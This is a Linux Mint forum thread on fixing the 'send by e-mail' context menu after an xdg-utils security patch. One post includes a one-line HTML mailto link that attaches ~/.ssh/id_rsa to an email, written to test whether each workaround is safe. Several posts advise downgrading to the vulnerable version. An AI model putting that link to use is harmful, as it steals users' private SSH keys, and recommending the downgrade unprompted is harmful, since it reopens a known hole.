[SOLVED] Email file attach using file context menu does not work

[AndreySh]

Mint 20 Cinnamon 64-bit. Mail client Thunderbird.

It seems that option "send by e-mail" of the file desktop context menu does not work.
I right-click on the file on desktop, select "send by e-mail" and the system create the letter but with no attachment.

It looks like that xdg-mail command is used by the system.
When I try this command directly in terminal the result is just the same: command create the letter and does not attach file:

Code: Select all

XDG_UTILS_DEBUG_LEVEL=100 xdg-email --attach '/home/shat/Desktop/VPS'
Checking /home/shat/.config/mimeapps.list
Checking /home/shat/.local/share/applications/mimeapps.list
Checking /home/shat/.local/share/applications/defaults.list and /home/shat/.local/share/applications/mimeinfo.cache
Checking /home/shat/.local/share/applications/defaults.list and /home/shat/.local/share/applications/mimeinfo.cache
Checking /usr/share/cinnamon/applications/defaults.list and /usr/share/cinnamon/applications/mimeinfo.cache
Checking /usr/share/cinnamon/applications/defaults.list and /usr/share/cinnamon/applications/mimeinfo.cache
Checking /usr/share/gnome/applications/defaults.list and /usr/share/gnome/applications/mimeinfo.cache
Checking /usr/share/gnome/applications/defaults.list and /usr/share/gnome/applications/mimeinfo.cache
Checking /home/shat/.local/share/flatpak/exports/share/applications/defaults.list and /home/shat/.local/share/flatpak/exports/share/applications/mimeinfo.cache
Checking /home/shat/.local/share/flatpak/exports/share/applications/defaults.list and /home/shat/.local/share/flatpak/exports/share/applications/mimeinfo.cache
Checking /var/lib/flatpak/exports/share/applications/defaults.list and /var/lib/flatpak/exports/share/applications/mimeinfo.cache
Checking /var/lib/flatpak/exports/share/applications/defaults.list and /var/lib/flatpak/exports/share/applications/mimeinfo.cache
Checking /usr/local/share/applications/defaults.list and /usr/local/share/applications/mimeinfo.cache
Checking /usr/local/share/applications/defaults.list and /usr/local/share/applications/mimeinfo.cache
Checking /usr/share/applications/defaults.list and /usr/share/applications/mimeinfo.cache
Running /usr/lib/thunderbird/thunderbird.sh -compose ""
console.log: WebExtensions: Loading packed extension from /usr/lib/thunderbird/extensions/{e2fda1a4-762b-4020-b5ad-a41df1933103}.xpi
console.log: WebExtensions: Loading add-on preferences from  /usr/lib/thunderbird/extensions/{e2fda1a4-762b-4020-b5ad-a41df1933103}.xpi
console.log: WebExtensions: Firing profile-after-change listeners for {e2fda1a4-762b-4020-b5ad-a41df1933103}
[calBackendLoader] Using Thunderbird's builtin libical backend

Does anybody have the same problem? Is it possible to repair it?

Full system information:

Code: Select all

System:    Kernel: 5.4.0-54-generic x86_64 bits: 64 compiler: gcc v: 9.3.0 Desktop: Cinnamon 4.6.7 wm: muffin 4.6.3 
           dm: LightDM 1.30.0 Distro: Linux Mint 20 Ulyana base: Ubuntu 20.04 focal 
Machine:   Type: Laptop System: HUAWEI product: BOHK-WAX9X v: M1040 serial: <filter> 
           Mobo: HUAWEI model: BOHK-WAX9X-PCB v: M1040 serial: <filter> UEFI: HUAWEI v: 1.05 date: 12/04/2019 
Battery:   ID-1: BAT1 charge: 40.1 Wh condition: 40.5/41.6 Wh (98%) volts: 13.0/11.5 model: Desay HB4692J5ECW-31 type: Li-ion 
           serial: <filter> status: Unknown cycles: 55 
CPU:       Topology: Quad Core model: AMD Ryzen 5 3500U with Radeon Vega Mobile Gfx bits: 64 type: MT MCP arch: Zen+ rev: 1 
           L2 cache: 2048 KiB 
           flags: avx avx2 lm nx pae sse sse2 sse3 sse4_1 sse4_2 sse4a ssse3 svm bogomips: 33538 
           Speed: 1367 MHz min/max: 1400/2100 MHz boost: enabled Core speeds (MHz): 1: 1225 2: 1224 3: 1225 4: 1226 5: 1311 
           6: 1352 7: 1221 8: 1221 
Graphics:  Device-1: Advanced Micro Devices [AMD/ATI] Picasso vendor: Huawei driver: amdgpu v: kernel bus ID: 03:00.0 
           chip ID: 1002:15d8 
           Display: x11 server: X.Org 1.20.8 driver: amdgpu,ati unloaded: fbdev,modesetting,vesa resolution: 1920x1080~60Hz 
           OpenGL: renderer: AMD RAVEN (DRM 3.35.0 5.4.0-54-generic LLVM 10.0.0) v: 4.6 Mesa 20.0.8 direct render: Yes 
Audio:     Device-1: Advanced Micro Devices [AMD/ATI] Raven/Raven2/Fenghuang HDMI/DP Audio vendor: Huawei 
           driver: snd_hda_intel v: kernel bus ID: 03:00.1 chip ID: 1002:15de 
           Device-2: Advanced Micro Devices [AMD] Raven/Raven2/FireFlight/Renoir Audio Processor vendor: Huawei driver: N/A 
           bus ID: 03:00.5 chip ID: 1022:15e2 
           Device-3: Advanced Micro Devices [AMD] Family 17h HD Audio vendor: Huawei driver: snd_hda_intel v: kernel 
           bus ID: 03:00.6 chip ID: 1022:15e3 
           Sound Server: ALSA v: k5.4.0-54-generic 
Network:   Device-1: Realtek RTL8822CE 802.11ac PCIe Wireless Network Adapter vendor: & Tele RSH driver: rtw_pci v: N/A 
           port: 2000 bus ID: 02:00.0 chip ID: 10ec:c822 
           IF: wlp2s0 state: up mac: <filter> 
Drives:    Local Storage: total: 238.47 GiB used: 128.45 GiB (53.9%) 
           ID-1: /dev/nvme0n1 vendor: Samsung model: MZVLB256HBHQ-00000 size: 238.47 GiB speed: 31.6 Gb/s lanes: 4 
           serial: <filter> rev: EXH7201Q scheme: GPT 
Partition: ID-1: / size: 233.24 GiB used: 128.45 GiB (55.1%) fs: ext4 dev: /dev/nvme0n1p2 
Sensors:   System Temperatures: cpu: 58.6 C mobo: N/A gpu: amdgpu temp: 58 C 
           Fan Speeds (RPM): N/A 
Repos:     No active apt repos in: /etc/apt/sources.list 
           Active apt repos in: /etc/apt/sources.list.d/additional-repositories.list 
           1: deb https://dl.winehq.org/wine-builds/ubuntu/ focal main
           Active apt repos in: /etc/apt/sources.list.d/anydesk-stable.list 
           1: deb http://deb.anydesk.com/ all main
           Active apt repos in: /etc/apt/sources.list.d/google-chrome.list 
           1: deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main
           Active apt repos in: /etc/apt/sources.list.d/official-package-repositories.list 
           1: deb http://mirror.yandex.ru/linuxmint-packages ulyana main upstream import backport
           2: deb http://mirror.corbina.net/ubuntu focal main restricted universe multiverse
           3: deb http://mirror.corbina.net/ubuntu focal-updates main restricted universe multiverse
           4: deb http://mirror.corbina.net/ubuntu focal-backports main restricted universe multiverse
           5: deb http://security.ubuntu.com/ubuntu/ focal-security main restricted universe multiverse
           6: deb http://archive.canonical.com/ubuntu/ focal partner
           Active apt repos in: /etc/apt/sources.list.d/opera-stable.list 
           1: deb https://deb.opera.com/opera-stable/ stable non-free #Opera Browser (final releases)
           Active apt repos in: /etc/apt/sources.list.d/skype-stable.list 
           1: deb [arch=amd64] https://repo.skype.com/deb stable main
Info:      Processes: 271 Uptime: 40m Memory: 6.79 GiB used: 1.72 GiB (25.4%) Init: systemd v: 245 runlevel: 5 Compilers: 
           gcc: 9.3.0 alt: 9 Shell: bash v: 5.0.17 running in: gnome-terminal inxi: 3.0.38 

[AndreySh]

To test your guess I ran experiment.
The version of xdg-utils installed on my system was 1.1.3-2ubuntu1.20.04.1 (focal-updates).
I have rolled back to 1.1.3-2ubuntu1 (focal).
And the problem was gone. Now I can again attach files to the letter through the desktop interface.
Your assumption was fully confirmed.
Thank you!!

It's interesting how to proceed further?
We have workaround. Is it enough to mark this topic as solved?
Or may be wait for the developer's answer?

[Drugwash]

Well, glad I could help at least in finding/confirming the culprit. As for what to do next... dunno, maybe wait for a few days, see if others also report the issue and ask for a fix. This is an upstream thing and as such must first get traction in the Ubuntu community. It may take a while. The change seems to be new, only three days ago, maybe not all people who use that function have updated their systems and noticed the change.
I'd give it a week, at least. In the mean time set updates to manual, blacklist current version and follow closely the list of files, see if xdg-utils is there and check the changelog - if there's nothing related to reverting that change then blacklist the respective version and so on.

[asciiman]

Mint 19.3 Cinnamon with same behavior.
That function just recently broke.
I use it fairly frequently and noticed yesterday it was no longer working.
So I can confirm.

[marcoviolino]

I can confirm the same problem, email file attach using file context menu does not work, even not from LibreOffice. No idea how to send a bur report to the Mint people....

[Drugwash]

@asciiman and marcoviolino: for now you can only downgrade xdg-utils to previous version using Synaptic or any other means you know better, and lock it from further updates until the change is officially reverted, if ever.
The Mint team can't do anything about it since the change comes straight from Ubuntu. You may go post in the Ubuntu forums or somewhere in their GitHub repository (apparently here is a bug tracker); there may already exist specific thread(s) or git issue on this matter. It is not a bug but an intended change allegedly related to security, which breaks functionality.

[AndreySh]

@asciiman and marcoviolino: for now you can only downgrade xdg-utils to previous version using Synaptic or any other means you know better, and lock it from further updates until the change is officially reverted, if ever.
The Mint team can't do anything about it since the change comes straight from Ubuntu. You may go post in the Ubuntu forums or somewhere in their GitHub repository (apparently here is a bug tracker); there may already exist specific thread(s) or git issue on this matter. It is not a bug but an intended change allegedly related to security, which breaks functionality.

I intended to post this issue on the Ubuntu forums. To check if the problem is the same for Ubuntu, I installed Ubuntu 20.04.1 LTS (Mint Ulyana based on).
The xdg-email command could not attach the file, as in Mint Uyiana.
But in the context menu of the Ubuntu file manager there is the same "send to" item.
And it works correctly: creates a Thunderbird email and attaches a file,
it uses the nautilus-sendto command behind the GUI, but not xdg-email.
It looks like Ubuntu has no problem with the xdg-utils security patch concering desktop items.
Maybe the right way is to change the script bind to "send to" item in MInt Ulyana?

[Welcome]

Downgrading xdg-utils sounds like a great solution!

Before I knew about that, I had tried this...

Code: Select all

thunderbird -compose "attachment='/etc/mtab,/etc/fstab'"

and it does add the attachments, but gives errors (see viewtopic.php?p=1933887#p1933887)

As another solution, maybe there's a genius here in the Forum knows how to set up menu actions:

The important files appear to be:
/usr/share/nemo/actions/send-by-mail.nemo_action
/usr/share/nemo/actions/send-by-mail.py

And there's another important directory:
~/.local/share/nemo/actions

This directory says "Actions: Action files can be added to this folder and will appear in the menu." Additionally, clicking "More info" provides a "sample.nemo_action" file that (I believe) can be used to create custom nemo actions.

Anyone here willing to give it a try?

[AndreySh]

Welcome you gave me a key :
"The important files appear to be:
/usr/share/nemo/actions/send-by-mail.nemo_action
/usr/share/nemo/actions/send-by-mail.py"
together with
"it uses the nautilus-sendto command behind the GUI, but not xdg-email."

Algorythm:
1) Install the nautilus-sendto by "apt install nautilus-sendto"
2) Make a copy of /usr/share/nemo/actions/send-by-mail.py as the backup, for example: "cp /usr/share/nemo/actions/send-by-mail.py ~/send-by-mail.py
3) Change the file /usr/share/nemo/actions/send-by-mail.py using root:
command = ['xdg-email'] + list(chain.from_iterable(('--attach', arg) for arg in args.filelist.split('/#/')))
change to
command = ['nautilus-sendto'] + list(chain.from_iterable((' ', arg) for arg in args.filelist.split('/#/')))
4) Check if the send to menu item works correctly. If it's not - check, that you have change '-attach' to ' ', but not '' (null-string)
5) Upgrade xdg-utils to the lastest safe version

[AndreySh]

The ability to attach email by xdg-utils was blocked due to security threats.:
https://gitlab.freedesktop.org/xdg/xdg- ... issues/177
https://gitlab.freedesktop.org/xdg/xdg- ... 8a297351fe
https://twitter.com/jensvoid/status/1295357952480751616

It was not obvious for me that new way to send mail did not have the same weakness.
I composed the html file which exploited this security issue according to https://twitter.com/jensvoid/status/1295357952480751616:
It consisted of one line:
<a href="mailto:giveme@yoursecret.edu?attach=~/.ssh/id_rsa">Press me, please</a>
and added secret ssh key to the letter after clicking on the link.

Clicking on the link generates a blank email without adding a file when I use the new scheme (nautilius-sendto + latest xdg-email).
But when I downgrade xdg-utils, clicking on the link results in id_rsa-file being added to the email.
I.e., the second way to fix the problem (nautilius-sendto + latest xdg-email) is safer, than just downgrading xdg-utils.

[Welcome]

Clicking on the link generates a blank email without adding a file when I use the new scheme (nautilius-sendto + latest xdg-email).
But when I downgrade xdg-utils, clicking on the link results in id_rsa-file being added to the email.
I.e., the second way to fix the problem (nautilius-sendto + latest xdg-email) is safer, than just downgrading xdg-utils.

That's so cool! Thanks AndreySh!

[Drugwash]

Well, it's great that you guys found a way to do it properly. Now let's think of the many novice users out there that can't even put together a proper Terminal command, let alone find and modify a bunch of files containing programming language. Some may find these instructions, fewer of them will be able to follow through correctly. And then there are other file managers and e-mail applications which still use the "old" way and will remain broken until someone finds ways to fix them too.

How is this going to be fixed for all users of all Debian & Ubuntu & derivatives, and all file managers and e-mail applications out there that make use of this particular function of xdg-utils?
This is the big question.

[juan_lutz]

Well, it's great that you guys found a way to do it properly. Now let's think of the many novice users out there that can't even put together a proper Terminal command, let alone find and modify a bunch of files containing programming language. Some may find these instructions, fewer of them will be able to follow through correctly. And then there are other file managers and e-mail applications which still use the "old" way and will remain broken until someone finds ways to fix them too.

How is this going to be fixed for all users of all Debian & Ubuntu & derivatives, and all file managers and e-mail applications out there that make use of this particular function of xdg-utils?
This is the big question.

Therefore and despite I still have thunderbird I jumped to use evolution.
The Email file attach context menu works using evolution as the selected Emial app. for the system

[AndreySh]

Great, I think that topic is ready to be marked as solved.
We have already 3 solutions.

All edititons of Mint:
1) Downgrade xdg-utils (the best and the easiest way for all users);
2) Use Evolution (solution for those who dont like Thunderbird:-))
For Cinnamon:
1) Edit nemo-file (for those who like to work with command line and fans of security:-) )

As a final effort I looked through MInt 18,19,20 for Mate, Cinnamon, Xfce editions. It seems that problem is only with Mate and Cinnamon editions. There is no "send to" desktop menu item for Xfce.
As a result of our collective work I made report for developers: https://github.com/linuxmint/linuxmint/issues/328
Thanks everyone for the help and good advices.

[Welcome]

As a result of our collective work I made report for developers: https://github.com/linuxmint/linuxmint/issues/328

On Github, mtwebster closed the report. The link he provides traces back to a problem that the trashcan had "Send by email".

I see the words:

This has been removed from nemo for 4.8:
linuxmint/nemo#2574

And more words when following the link there:

Part of the ROADMAP to remove Send by Email action.

At least users have the three options we've come up, even the feature is being removed.

[Drugwash]

That's "progress" for you, folks. For a while already they've been silently removing useful options and features while at the same time forcibly implementing monitoring and "protection" - and I'm not referring only to Linux, heck I'm not even referring to computers only but to the entire real life.
How's that saying: "whoever trades freedom for security deserves neither".
But yeah, I guess the issue at hand can be considered "solved".

[Welcome]

... downgrade xdg-utils to previous version using Synaptic or any other means you know better, and lock it from further updates until the change is officially reverted, if ever.
...

@ Drugwash - How do you lock the xdg-utils version?

Would this work?

Code: Select all

sudo apt-mark hold xdg-utils

Check to see the holds:

Code: Select all

apt-mark showhold

Remove the hold (if wanted for some reason):

Code: Select all

sudo apt-mark unhold xdg-utils

[Drugwash]

@ Drugwash - How do you lock the xdg-utils version?

Personally I'm a GUI and mouse person - blame it on 20+ years of Windows usage if you want - so I just open Menu > Administration > Synaptic Package Manager, select All in the left-hand list, click to focus the right-hand list, search for the file name(s) by directly typing (a small edit box will show at list's bottom-right), select (Ctrl+click if more files need selected), then in Synaptic's menu > Package mark the checkbox called Lock version. After an automated refresh of the list the locked files will display a small lock overlay in their respective checkboxes.
To unlock if/when desired, just select the file(s), go to menu > Package and unmark Lock version.

The method above would be fit for people like me that are used to a GUI environment. The commands you posted above would most likely yield the same effects, for those more inclined to working with the Terminal. I'm glad we (still) have the choice of doing same thing in different ways.

[AndreySh]

Good news:D. Right now I've download the update for xdg-utils.
It looks like security patch which caused problems was reverted :


xdg-utils (1.1.3-2ubuntu1.20.04.2) focal-security; urgency=medium

* SECURITY REGRESSION: simple-scan email functionality break
- debian/patches/CVE-2020-27748.patch: was reverted/delete in
scripts/xdg-email.in.

-- Leonidas Da Silva Barbosa <leo.barbosa@canonical.com> Mon, 11 Jan 2021 10:39:48 -0300

xdg-utils (1.1.3-2ubuntu1.20.04.1) focal-security; urgency=medium

* SECURITY UPDATE: local file inclusion vulnerability
- debian/patches/CVE-2020-27748.patch: remove attachment handling from
mailto in scripts/xdg-email.in.
- CVE-2020-27748

-- Leonidas S. Barbosa <leo.barbosa@canonical.com> Tue, 24 Nov 2020 14:16:38 -0300

[Welcome]

Good news:D. Right now I've download the update for xdg-utils.
It looks like security patch which caused problems was reverted :
...

I've updated to Linux Mint 20.1 Cinnamon. It appears that two files were removed from /usr/share/nemo/actions: send-by-mail.py and send-by-mail.nemo_action.

As an experiment, I copied these two files from 20.0 Cinnamon, and placed them in that directory. I also changed the owner and group back to root, and made sure the file permissions were correct.

And it works.